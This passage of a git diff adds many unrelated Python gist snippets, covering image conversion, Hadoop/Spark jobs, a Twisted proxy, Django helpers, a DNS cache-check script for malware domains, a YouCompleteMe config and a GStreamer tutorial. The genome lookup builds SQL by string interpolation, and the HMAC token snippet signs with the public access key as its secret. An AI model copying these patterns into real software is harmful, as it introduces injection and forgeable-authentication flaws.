+    for pix in pixel_list:
+        r = (pix[0] >> 3) & 0x1F
+        g = (pix[1] >> 2) & 0x3F
+        b = (pix[2] >> 3) & 0x1F
+        f.write(struct.pack('H', (r << 11) + (g << 5) + b))
+
+##
+if __name__ == '__main__':
+    args = sys.argv
+    if len(args) != 2: usage()
+    in_path = args[1]
+    if os.path.exists(in_path) == False: error('not exists: ' + in_path)
+    
+    body, _ = os.path.splitext(in_path)
+    out_path = body + '.bin'
+
+    img = Image.open(in_path).convert('RGB')
+    pixels = list(img.getdata())
+    # print pixels
+    
+    with open(out_path, 'wb') as f:
+        write_bin(f, pixels)
+
diff --git a/hard-gists/7079332cab038da1394d/._snippet.py b/hard-gists/7079332cab038da1394d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7079332cab038da1394d/._snippet.py differ
diff --git a/hard-gists/7079332cab038da1394d/snippet.py b/hard-gists/7079332cab038da1394d/snippet.py
new file mode 100644
index 00000000..0ef5582c
--- /dev/null
+++ b/hard-gists/7079332cab038da1394d/snippet.py
@@ -0,0 +1,31 @@
+from sys import argv
+from base64 import b64encode
+from datetime import datetime
+from Crypto.Hash import SHA, HMAC
+
+def create_signature(secret_key, string):
+    """ Create the signed message from api_key and string_to_sign """
+    string_to_sign = string.encode('utf-8')
+    hmac = HMAC.new(secret_key, string_to_sign, SHA)
+    return b64encode(hmac.hexdigest())
+
+def create_token(access_key):
+    string_to_sign = "POST\n"+\
+                     "application/x-www-form-urlencoded\n"+\
+                     datetime.utcnow().strftime("%Y-%m-%dT%H:%M")
+    user_secret_key = access_key # Should be looked up based on access_key
+    hmac = create_signature(access_key, string_to_sign)
+    signature = "AUTH:" + access_key + ":" + hmac
+    return signature
+
+def authenticate_signed_token(auth_token):
+    """ Take token, recreate signature, auth if a match """
+    lead, access_key, signature = auth_token.split(":")
+    if lead.upper() == "AUTH":
+        our_token = create_token(access_key).split(":", 1)[-1]
+    return True if signature == our_token else False
+
+
+if __name__ == "__main__":
+    print create_token('secret_api_key')
+    print authenticate_signed_token(argv[1])
diff --git a/hard-gists/7088662/._snippet.py b/hard-gists/7088662/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7088662/._snippet.py differ
diff --git a/hard-gists/7088662/snippet.py b/hard-gists/7088662/snippet.py
new file mode 100644
index 00000000..b586e061
--- /dev/null
+++ b/hard-gists/7088662/snippet.py
@@ -0,0 +1,29 @@
+# Note: Requires mysqldb; install using:
+# pip install MySQL-python
+from MySQLdb.constants import FIELD_TYPE
+import _mysql
+
+db = None
+
+def fetch_gene_coordinates(gene_name,build):
+	global db # db is global to prevent reconnecting.
+	if db is None:
+		print 'connect'
+		conv= { FIELD_TYPE.LONG: int }
+		db = _mysql.connect(host='genome-mysql.cse.ucsc.edu',user='genome',passwd='',db=build,conv=conv)
+	db.query("""SELECT * FROM kgXref INNER JOIN knownGene ON kgXref.kgID=knownGene.name WHERE kgXref.geneSymbol = '%s'""" % gene_name)
+
+	r = db.use_result().fetch_row(how=1,maxrows=0)
+	print r
+	if len(r)>1:
+		pass
+	else:
+		return r[0]['txStart'], r[0]['txEnd'], r[0]['chrom'],r[0]['strand']
+
+
+print fetch_gene_coordinates('klf1','mm9')
+
+
+
+
+
diff --git a/hard-gists/7091940/._snippet.py b/hard-gists/7091940/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7091940/._snippet.py differ
diff --git a/hard-gists/7091940/snippet.py b/hard-gists/7091940/snippet.py
new file mode 100644
index 00000000..87b958f3
--- /dev/null
+++ b/hard-gists/7091940/snippet.py
@@ -0,0 +1,54 @@
+import json
+import luigi
+import luigi.hdfs
+import luigi.hadoop
+import pandas as pd
+
+import numpy
+import pandas
+luigi.hadoop.attach(numpy, pandas)
+
+class InputText(luigi.ExternalTask):
+    part = luigi.IntParameter()
+
+    def output(self):
+        return luigi.LocalTarget('%i.tdf' % self.part)
+
+
+class GenerateJSON(luigi.Task):
+
+    def requires(self):
+        return [InputText(part) for part in range(10)]
+
+    def output(self):
+        return luigi.hdfs.HdfsTarget('data.json')
+
+    def run(self):
+        f = self.output().open('w')
+        for file in self.input():
+            df = pd.read_table(file.open('r'), nrows=5)
+            for index, row in df.iterrows():
+                f.write("%s\n" % row.to_json())
+
+        # output data
+        f.close()
+
+
+class NumberOfWords(luigi.hadoop.JobTask):
+
+    def requires(self):
+        return GenerateJSON()
+
+    def output(self):
+        return luigi.hdfs.HdfsTarget('number_of_words')
+
+    def mapper(self, line):
+        line = json.loads(line)
+        wc = line['word_count']
+        yield 'word', wc if wc is not None else 0
+
+    def reducer(self, key, values):
+        yield key, sum(values)
+
+if __name__ == '__main__':
+    luigi.run()
diff --git a/hard-gists/709384/._snippet.py b/hard-gists/709384/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/709384/._snippet.py differ
diff --git a/hard-gists/709384/snippet.py b/hard-gists/709384/snippet.py
new file mode 100644
index 00000000..1f358c7d
--- /dev/null
+++ b/hard-gists/709384/snippet.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+from twisted.internet import reactor
+from twisted.web import proxy, server
+from twisted.web.resource import Resource
+
+class ProxyResource(Resource):
+    
+    def getChild(self, path, request):
+        request.received_headers['x-forwarded-host'] = request.received_headers['host']
+        if path.startswith('live'):
+            return proxy.ReverseProxyResource('localhost', 8090, '/live')
+        return proxy.ReverseProxyResource('localhost', 8001, '/' + path)
+
+if __name__ == '__main__':
+    root = ProxyResource()
+    reactor.listenTCP(8000, server.Site(root))
+    reactor.run()
\ No newline at end of file
diff --git a/hard-gists/709890/._snippet.py b/hard-gists/709890/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/709890/._snippet.py differ
diff --git a/hard-gists/709890/snippet.py b/hard-gists/709890/snippet.py
new file mode 100644
index 00000000..56b6c993
--- /dev/null
+++ b/hard-gists/709890/snippet.py
@@ -0,0 +1,49 @@
+import base64
+import os
+from tastypie.fields import FileField
+from django.core.files.uploadedfile import SimpleUploadedFile
+
+class Base64FileField(FileField):
+    """
+    A django-tastypie field for handling file-uploads through raw post data.
+    It uses base64 for en-/decoding the contents of the file.
+    Usage:
+
+    class MyResource(ModelResource):
+        file_field = Base64FileField("file_field")
+        
+        class Meta:
+            queryset = ModelWithFileField.objects.all()
+
+    In the case of multipart for submission, it would also pass the filename.
+    By using a raw post data stream, we have to pass the filename within our
+    file_field structure:
+
+    file_field = {
+        "name": "myfile.png",
+        "file": "longbas64encodedstring",
+        "content_type": "image/png" # on hydrate optional
+    }
+    """
+    def dehydrate(self, bundle):
+        if not bundle.data.has_key(self.instance_name) and hasattr(bundle.obj, self.instance_name):
+            file_field = getattr(bundle.obj, self.instance_name)
+            if file_field:
+                try:
+                    content_type, encoding = mimetypes.guess_type(file_field.file.name)
+                    b64 = open(file_field.file.name, "rb").read().encode("base64")
+                    ret = {
+                        "name": os.path.basename(file_field.file.name),
+                        "file": b64,
+                        "content-type": content_type or "application/octet-stream"
+                    }
+                    return ret
+                except:
+                    pass
+        return None
+
+    def hydrate(self, obj):
+        value = super(FileField, self).hydrate(obj)
+        if value:
+            value = SimpleUploadedFile(value["name"], base64.b64decode(value["file"]), getattr(value, "content_type", "application/octet-stream"))
+        return value
\ No newline at end of file
diff --git a/hard-gists/70df4922fec74ea87405b83840b45d57/._snippet.py b/hard-gists/70df4922fec74ea87405b83840b45d57/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/70df4922fec74ea87405b83840b45d57/._snippet.py differ
diff --git a/hard-gists/70df4922fec74ea87405b83840b45d57/snippet.py b/hard-gists/70df4922fec74ea87405b83840b45d57/snippet.py
new file mode 100644
index 00000000..6f0d2b95
--- /dev/null
+++ b/hard-gists/70df4922fec74ea87405b83840b45d57/snippet.py
@@ -0,0 +1,43 @@
+'''
+Using OpenCV takes a mp4 video and produces a number of images.
+
+Requirements
+----
+You require OpenCV 3.2 to be installed.
+
+Run
+----
+Open the main.py and edit the path to the video. Then run:
+$ python main.py
+
+Which will produce a folder called data with the images. There will be 2000+ images for example.mp4.
+'''
+import cv2
+import numpy as np
+import os
+
+# Playing video from file:
+cap = cv2.VideoCapture('example.mp4')
+
+try:
+    if not os.path.exists('data'):
+        os.makedirs('data')
+except OSError:
+    print ('Error: Creating directory of data')
+
+currentFrame = 0
+while(True):
+    # Capture frame-by-frame
+    ret, frame = cap.read()
+
+    # Saves image of the current frame in jpg file
+    name = './data/frame' + str(currentFrame) + '.jpg'
+    print ('Creating...' + name)
+    cv2.imwrite(name, frame)
+
+    # To stop duplicate images
+    currentFrame += 1
+
+# When everything done, release the capture
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/70e5fefe128214b7d2a1/._snippet.py b/hard-gists/70e5fefe128214b7d2a1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/70e5fefe128214b7d2a1/._snippet.py differ
diff --git a/hard-gists/70e5fefe128214b7d2a1/snippet.py b/hard-gists/70e5fefe128214b7d2a1/snippet.py
new file mode 100644
index 00000000..92ba75ec
--- /dev/null
+++ b/hard-gists/70e5fefe128214b7d2a1/snippet.py
@@ -0,0 +1,100 @@
+from __future__ import print_function
+
+import sys
+from math import sqrt
+import argparse
+from collections import defaultdict
+from random import randint
+
+from pyspark import SparkContext
+
+def parseArguments(args):
+    parser = argparse.ArgumentParser(add_help=True,
+                                     description='Item similarity - " + \
+                                     "naive k-nn approximation')
+    parser.add_argument('--debug', action="store_true",
+                        dest="debug", default=False,
+                        help="Debug flag",
+                        required=False)
+
+    parser.add_argument('--num_reco', action="store",
+                        dest="num_reco", default=10,
+                        help="Number of recommendations per user", type=int,
+                        required=False)
+
+    parser.add_argument('--repartition', action="store",
+                        dest="repartition", default=10,
+                        help="Number of repartition", type=int,
+                        required=False)
+
+    parser.add_argument('--repetition', action="store",
+                        dest="repetition", default=10,
+                        help="Number of repetition", type=int,
+                        required=False)
+
+    parser.add_argument('--app', action="store",
+                        dest="app",
+                        help="App name (spark context)",
+                        required=False, default="rec_streaming")
+
+    parser.add_argument('--input', action="store",
+                        dest="input",
+                        help="Input location",
+                        required=True)
+
+    arguments = parser.parse_args()
+    return arguments
+
+
+def load_item(item):
+    item_data = item.split(",")
+    item_id = item_data[0]
+    item_vec = [float(s) for s in item_data[1:]]
+    item_len = sqrt(sum([a*a for a in item_vec]))
+    return (item_id, (item_vec, item_len))
+
+
+def distance(item1, item2):
+    item1_id, (item1_ftrs, item1_len) = item1
+    item2_id, (item2_ftrs, item2_len) = item2
+    distance = sum([a * b for a, b in zip(item1_ftrs, item2_ftrs)])
+    return distance/(item1_len * item2_len)
+
+def approx_distance_user(user_iter, num_reco):
+    users = list(user_iter)
+    users_dict = defaultdict(dict)
+    for idx1, user1 in enumerate(users):
+        for user2 in users[idx1+1:]:
+            dist = distance(user1, user2)
+            users_dict[user1[0]][user2[0]] = dist
+            users_dict[user2[0]][user1[0]] = dist
+    users_dict = {k : sorted(v.items(), key = lambda a: -a[1])[:num_reco]
+                             for k,v in users_dict.iteritems()}
+    return users_dict.items()
+
+
+def main(args):
+    arguments = parseArguments(args)
+    if arguments.debug:
+        sys.stdout.write("Arguments: %s\n"%arguments)
+    sc = SparkContext(appName=arguments.app)
+    items = sc.textFile(arguments.input)
+    items = items.map(lambda x: load_item(x)).cache()
+    distances = sc.emptyRDD()
+    for i in xrange(0, arguments.repetition):
+        curr_distances = items.repartitionAndSortWithinPartitions(\
+                          arguments.repartition, \
+                          lambda x: randint(1, arguments.repartition)).\
+                          mapPartitions(lambda x:
+                          approx_distance_user(x, arguments.num_reco))
+        distances = distances.union(curr_distances)
+    distances = distances.reduceByKey(lambda a, b : a + b)
+    distances = distances.map(lambda x: (x[0],
+                              sorted(set(x[1]), key = lambda a: -a[1])))
+    distances = distances.collect()
+    for item_id, rec in distances:
+        print ("%s\t%s"%(item_id, rec))
+
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
diff --git a/hard-gists/70ed63ee8992c401a9dd/._snippet.py b/hard-gists/70ed63ee8992c401a9dd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/70ed63ee8992c401a9dd/._snippet.py differ
diff --git a/hard-gists/70ed63ee8992c401a9dd/snippet.py b/hard-gists/70ed63ee8992c401a9dd/snippet.py
new file mode 100644
index 00000000..6d986c40
--- /dev/null
+++ b/hard-gists/70ed63ee8992c401a9dd/snippet.py
@@ -0,0 +1,227 @@
+# add this to your vimrc
+#let g:ycm_global_ycm_extra_conf = "~/.vim/.ycm_extra_conf_openframeworks.py"
+
+
+# Partially stolen from https://bitbucket.org/mblum/libgp/src/2537ea7329ef/.ycm_extra_conf.py
+import os
+import ycm_core
+
+# These are the compilation flags that will be used in case there's no
+# compilation database set (by default, one is not set).
+# CHANGE THIS LIST OF FLAGS. YES, THIS IS THE DROID YOU HAVE BEEN LOOKING FOR.
+flags = [
+	'-c',
+	'-O3',
+	'-Wall',
+	'-march=native',
+	'-mtune=native',
+	'-DOF_USING_GTK',
+	'-DOF_USING_GTK',
+	'-DOF_USING_MPG123',
+    # THIS IS IMPORTANT! Without a "-std=<something>" flag, clang won't know which
+    # language to use when compiling headers. So it will guess. Badly. So C++
+    # headers will be compiled as C headers. You don't want that so ALWAYS specify
+    # a "-std=<something>".
+    # For a C project, you would set this to something like 'c99' instead of
+    # 'c++11'.
+    '-std=c++11',
+    # ...and the same thing goes for the magic -x option which specifies the
+    # language that the files to be compiled are written in. This is mostly
+    # relevant for c++ headers.
+    # For a C project, you would set this to 'c' instead of 'c++'.
+    '-x', 'c++',
+    # This path will only work on OS X, but extra paths that don't exist are not
+    # harmful
+    #'-isystem', '/System/Library/Frameworks/Python.framework/Headers',
+    '-isystem', '/usr/local/include',
+    #'-isystem', '/usr/local/include/eigen3',
+	'-I./src',
+	'-I./data',
+	'-I./data/model',
+	'-I/usr/include/cairo',
+	'-I/usr/include/glib-2.0',
+	'-I/usr/lib/x86_64-linux-gnu/glib-2.0/include',
+	'-I/usr/include/pixman-1',
+	'-I/usr/include/freetype2',
+	'-I/usr/include/libpng12',
+	'-I/usr/include/gstreamer-1.0',
+	'-I/usr/include/alsa',
+	'-I/usr/include/libdrm',
+	'-I/usr/include/GL',
+	'-I/usr/include/gtk-3.0',
+	'-I/usr/include/atk-1.0',
+	'-I/usr/include/at-spi2-atk/2.0',
+	'-I/usr/include/pango-1.0',
+	'-I/usr/include/gio-unix-2.0/',
+	'-I/usr/include/gdk-pixbuf-2.0',
+	'-I/usr/include/harfbuzz',
+	'-I../../../libs/cairo/include',
+	'-I../../../libs/cairo/include/pixman-1',
+	'-I../../../libs/cairo/include/cairo',
+	'-I../../../libs/cairo/include/libpng15',
+	'-I../../../libs/fmodex/include',
+	'-I../../../libs/glfw/include',
+	'-I../../../libs/glfw/include/GLFW',
+	'-I../../../libs/kiss/include',
+	'-I../../../libs/openssl/include',
+	'-I../../../libs/openssl/include/openssl',
+	'-I../../../libs/poco/include',
+	'-I../../../libs/rtAudio/include',
+	'-I../../../libs/tess2/include',
+	'-I../../../libs/openFrameworks',
+	'-I../../../libs/openFrameworks/sound',
+	'-I../../../libs/openFrameworks/utils',
+	'-I../../../libs/openFrameworks/communication',
+	'-I../../../libs/openFrameworks/events',
+	'-I../../../libs/openFrameworks/types',
+	'-I../../../libs/openFrameworks/app',
+	'-I../../../libs/openFrameworks/gl',
+	'-I../../../libs/openFrameworks/video',
+	'-I../../../libs/openFrameworks/math',
+	'-I../../../libs/openFrameworks/3d',
+	'-I../../../libs/openFrameworks/graphics',
+    '-I.'
+]
+
+addons = [
+	'-I../../../addons/ofxOpenCv/src',
+	'-I../../../addons/ofxOpenCv/libs',
+	'-I../../../addons/ofxOpenCv/libs/opencv',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/features2d',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/core',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/gpu',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/ts',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/contrib',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/flann',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/objdetect',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/highgui',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/legacy',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/imgproc',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/video',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/ml',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/calib3d',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/osx',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/win_cb',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/ios',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/linux',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/vs',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/linuxarmv6l',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/android',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/android/armeabi',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/android/armeabi-v7a',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/linuxarmv7l',
+	'-I../../../addons/ofxOpenCv/libs/opencv/lib/linux64',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/features2d',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/core',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/gpu',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/ts',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/contrib',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/flann',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/objdetect',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/highgui',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/legacy',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/imgproc',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/video',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/ml',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv2/calib3d',
+	'-I../../../addons/ofxOpenCv/libs/opencv/include/opencv',
+	'-I../../../addons/ofxCv/src',
+	'-I../../../addons/ofxCv/libs',
+	'-I../../../addons/ofxCv/libs/CLD',
+	'-I../../../addons/ofxCv/libs/CLD/include',
+	'-I../../../addons/ofxCv/libs/CLD/include/CLD',
+	'-I../../../addons/ofxCv/libs/CLD/src',
+	'-I../../../addons/ofxCv/libs/ofxCv',
+	'-I../../../addons/ofxCv/libs/ofxCv/include',
+	'-I../../../addons/ofxCv/libs/ofxCv/include/ofxCv',
+	'-I../../../addons/ofxCv/libs/ofxCv/src',
+	'-I../../../addons/ofxCv/libs/CLD/include',
+	'-I../../../addons/ofxCv/libs/CLD/include/CLD',
+	'-I../../../addons/ofxCv/libs/ofxCv/include',
+	'-I../../../addons/ofxCv/libs/ofxCv/include/ofxCv',
+	'-I../../../addons/ofxFaceTracker/src',
+	'-I../../../addons/ofxFaceTracker/libs',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/include',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/include/FaceTracker',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/src',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/src/lib',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/model',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/include',
+	'-I../../../addons/ofxFaceTracker/libs/FaceTracker/include/FaceTracker',
+	'-pthread',
+	'-D_REENTRANT'
+]
+
+#concat flags and addons
+flags += addons
+
+# Set this to the absolute path to the folder (NOT the file!) containing the
+# compile_commands.json file to use that instead of 'flags'. See here for
+# more details: http://clang.llvm.org/docs/JSONCompilationDatabase.html
+#
+# Most projects will NOT need to set this to anything; you can just change the
+# 'flags' list of compilation flags. Notice that YCM itself uses that approach.
+compilation_database_folder = ''
+
+if compilation_database_folder:
+  database = ycm_core.CompilationDatabase( compilation_database_folder )
+else:
+  database = None
+
+
+def DirectoryOfThisScript():
+  return os.path.dirname( os.path.abspath( __file__ ) )
+
+
+def MakeRelativePathsInFlagsAbsolute( flags, working_directory ):
+  if not working_directory:
+    return list( flags )
+  new_flags = []
+  make_next_absolute = False
+  path_flags = [ '-isystem', '-I', '-iquote', '--sysroot=' ]
+  for flag in flags:
+    new_flag = flag
+
+    if make_next_absolute:
+      make_next_absolute = False
+      if not flag.startswith( '/' ):
+        new_flag = os.path.join( working_directory, flag )
+
+    for path_flag in path_flags:
+      if flag == path_flag:
+        make_next_absolute = True
+        break
+
+      if flag.startswith( path_flag ):
+        path = flag[ len( path_flag ): ]
+        new_flag = path_flag + os.path.join( working_directory, path )
+        break
+
+    if new_flag:
+      new_flags.append( new_flag )
+  return new_flags
+
+
+def FlagsForFile( filename ):
+  if database:
+    # Bear in mind that compilation_info.compiler_flags_ does NOT return a
+    # python list, but a "list-like" StringVec object
+    compilation_info = database.GetCompilationInfoForFile( filename )
+    final_flags = MakeRelativePathsInFlagsAbsolute(
+      compilation_info.compiler_flags_,
+      compilation_info.compiler_working_dir_ )
+  else:
+    relative_to = ''#DirectoryOfThisScript()
+    final_flags = MakeRelativePathsInFlagsAbsolute( flags, relative_to )
+
+  return {
+    'flags': final_flags,
+    'do_cache': True
+  }
diff --git a/hard-gists/7103585/._snippet.py b/hard-gists/7103585/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7103585/._snippet.py differ
diff --git a/hard-gists/7103585/snippet.py b/hard-gists/7103585/snippet.py
new file mode 100644
index 00000000..869d1261
--- /dev/null
+++ b/hard-gists/7103585/snippet.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python
+# This script will query a name server nonrecursively
+# RFC 1912 recommends that the $TTL value on the name server 
+# be set to 1 day or longer
+# -*- coding: utf-8 -*-
+
+import sys
+import dns  
+from dns.exception import DNSException
+from dns.rdataclass import *
+from dns.rdatatype import *
+from dns.message import *
+from dns.query import *
+
+if len(sys.argv) == 3:
+    script, malwareFile, nameServer = sys.argv
+else:
+    print '''
+    This script needs three arguments
+    Usage: python dnsNonRcv.py malwarefile nameserverIP
+            '''
+    sys.exit (1)
+
+malwareFile = sys.argv[1]
+nameserver = sys.argv[2]
+domainFile = open(malwareFile)
+
+for line in domainFile.readlines():
+    domain = line.split()[0]
+    response = None
+            # create the query
+    query = dns.message.make_query(domain, dns.rdatatype.A, dns.rdataclass.IN)
+            # unset the recurse flag 
+    query.flags ^= dns.flags.RD
+
+    try:
+        response = dns.query.udp(query, nameserver)
+    except DNSException:
+        response = []
+    if response.rcode() == dns.rcode.REFUSED:  #
+        print '''
+        The name server answered, but refuses to 
+        perform the specified operation. 
+        Contact your DNS administrator.
+        ''' # This can be for any policy reason
+            # including because we unset the recurse flag.
+        sys.exit (1)
+    if len(response.answer) > 0:
+        print '%s  ======> Found Record!' % domain
+    else:
+        print '%s [*] No Record.' % domain
+    continue
\ No newline at end of file
diff --git a/hard-gists/710480/._snippet.py b/hard-gists/710480/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/710480/._snippet.py differ
diff --git a/hard-gists/710480/snippet.py b/hard-gists/710480/snippet.py
new file mode 100644
index 00000000..656b6a34
--- /dev/null
+++ b/hard-gists/710480/snippet.py
@@ -0,0 +1,53 @@
+from types import MethodType
+
+from django.http import CompatCookie, HttpRequest
+
+
+def _set_cookie(self, key, value='', max_age=None, expires=None, path='/',
+           domain=None, secure=False):
+    self._resp_cookies[key] = value
+    self.COOKIES[key] = value
+    if max_age is not None:
+        self._resp_cookies[key]['max-age'] = max_age
+    if expires is not None:
+        self._resp_cookies[key]['expires'] = expires
+    if path is not None:
+        self._resp_cookies[key]['path'] = path
+    if domain is not None:
+        self._resp_cookies[key]['domain'] = domain
+    if secure:
+        self._resp_cookies[key]['secure'] = True
+
+
+def _delete_cookie(self, key, path='/', domain=None):
+    self.set_cookie(key, max_age=0, path=path, domain=domain,
+                    expires='Thu, 01-Jan-1970 00:00:00 GMT')
+    try:
+        del self.COOKIES[key]
+    except KeyError:
+        pass
+
+
+class RequestCookies(object):
+    """
+    Allows setting and deleting of cookies from requests in exactly the same
+    way as responses.
+    
+    >>> request.set_cookie('name', 'value')
+    
+    The set_cookie and delete_cookie are exactly the same as the ones built
+    into the Django HttpResponse class. 
+
+    http://docs.djangoproject.com/en/dev/ref/request-response/#django.http.HttpResponse.set_cookie
+    """
+    def process_request(self, request):
+
+        request._resp_cookies = CompatCookie()
+        request.set_cookie = MethodType(_set_cookie, request, HttpRequest)
+        request.delete_cookie = MethodType(_delete_cookie, request, HttpRequest)
+    
+    def process_response(self, request, response):
+        if hasattr(request, '_resp_cookies') and request._resp_cookies:
+            response.cookies.update(request._resp_cookies)
+        
+        return response
diff --git a/hard-gists/71152286b0a8826249fe/._snippet.py b/hard-gists/71152286b0a8826249fe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/71152286b0a8826249fe/._snippet.py differ
diff --git a/hard-gists/71152286b0a8826249fe/snippet.py b/hard-gists/71152286b0a8826249fe/snippet.py
new file mode 100644
index 00000000..629c84a0
--- /dev/null
+++ b/hard-gists/71152286b0a8826249fe/snippet.py
@@ -0,0 +1,41 @@
+#!/usr/bin/python
+
+import ledger
+import sys
+import re
+
+def account_name(post):
+    account = post.account.fullname().replace(" ","").replace("(","").replace(")","").replace("'","")
+    return re.sub(r'\:(\d)',r':X\1', account)
+    
+
+def get_symbol(amount):
+  symbol = amount.commodity.symbol.replace("-","").replace("\"","").upper()
+  if symbol == "$":
+    symbol = "USD"
+  return symbol
+
+
+filename = sys.argv[1]
+accounts = set()
+for xact in ledger.read_journal(filename).xacts():
+  for post in xact.posts():
+    account = account_name(post)
+    if account not in accounts:
+          print "%s open %s" % (xact.date, account)
+          accounts.add(account)
+  print "%s * \"%s\"" % (xact.date, xact.payee)
+  for post in xact.posts():
+    account = account_name(post)
+    symbol = get_symbol(post.amount)
+    if post.amount.has_annotation():
+        price = post.amount.price()
+        if post.amount.number() != 0:
+            price = price / post.amount.number()
+        psym = get_symbol(price)
+        print "  %-50s  %s %s @ %s %s" % (account, post.amount.number(), symbol, price.number(), psym)
+    else:
+        print "  %-50s  %s %s" % (account, post.amount.number(), symbol)
+
+
+
diff --git a/hard-gists/712c270355b6c2642600/._snippet.py b/hard-gists/712c270355b6c2642600/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/712c270355b6c2642600/._snippet.py differ
diff --git a/hard-gists/712c270355b6c2642600/snippet.py b/hard-gists/712c270355b6c2642600/snippet.py
new file mode 100644
index 00000000..2b500605
--- /dev/null
+++ b/hard-gists/712c270355b6c2642600/snippet.py
@@ -0,0 +1,114 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+"""
+GStreamer Tutorial 3: Splitting multimedia
+In this tutorial we will stream a video from a website using 
+the playbin2 element, split the audio into different element 
+chains where we play the audio, show a waveform visualization
+of the audio, and record the audio.
+
+            ------------------------------------------output_bin-------------------------------------------
+            |                                  -> queue -> autoaudiosink                                  |
+playbin2 -> | decodebin -> audioconvert -> tee -> queue -> wavescope -> ffmpegcolorspace -> autovideosink |
+            |                                  -> queue -> lamemp3enc -> filesink                         |
+            -----------------------------------------------------------------------------------------------
+"""
+
+import gst
+
+# Callback function to link decodebin to autoconvert.
+def on_new_decoded_pad(dbin, pad, islast):
+    decode = pad.get_parent()
+    pipeline = decode.get_parent()
+    convert = pipeline.get_by_name('convert')
+    decode.link(convert)
+    print 'linked!'
+
+# Create the pipeline and bin
+output_bin = gst.Bin('output_bin')
+
+# Create the elements.
+media_source = gst.element_factory_make('playbin2', 'media_source')
+decode = gst.element_factory_make('decodebin', 'decode')
+convert = gst.element_factory_make('audioconvert', 'convert')
+tee = gst.element_factory_make('tee', 'tee')
+audio_queue = gst.element_factory_make('queue', 'audio_queue')
+audio_sink = gst.element_factory_make('autoaudiosink', 'audio_sink')
+wavescope_queue = gst.element_factory_make('queue', 'wavescope_queue')
+wavescope_visual = gst.element_factory_make('wavescope', 'wavescope_visual')
+wavescope_convert = gst.element_factory_make('ffmpegcolorspace', 'wavescope_convert')
+wavescope_sink = gst.element_factory_make('autovideosink', 'wavescope_sink')
+file_queue = gst.element_factory_make('queue', 'file_queue')
+file_encode = gst.element_factory_make('lamemp3enc', 'file_encode')
+file_sink = gst.element_factory_make('filesink', 'file_sink')
+
+# Ensure all elements were created successfully.
+if (not output_bin or not media_source or not decode or not convert or 
